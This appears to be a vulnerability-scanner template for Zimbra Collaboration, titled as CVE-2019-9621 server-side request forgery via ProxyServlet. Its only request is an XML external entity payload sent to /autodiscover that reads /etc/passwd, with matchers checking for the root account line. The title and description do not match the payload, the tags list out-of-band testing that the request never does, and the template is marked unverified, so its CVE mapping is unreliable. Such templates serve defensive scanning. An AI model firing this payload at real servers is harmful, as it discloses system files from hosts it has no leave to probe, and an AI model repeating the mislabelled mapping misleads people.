id: CVE-2019-9621

info:
  name: "Zimbra Collaboration - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7
    or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2019-9621&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9621
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2019,zimbra,collaboration-server,oast,oob,xxe,kev,vkev,vuln
http:
  - raw:
      - |
        POST /autodiscover HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0"?>
        <!DOCTYPE soap [
        <!ELEMENT soap ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
        <Autodiscover>
          <Request>
            <EMailAddress>test@example.com</EMailAddress>
            <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
          </Request>
        </Autodiscover>

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(body, "response schema")
          - contains(header, "text/html")
        condition: and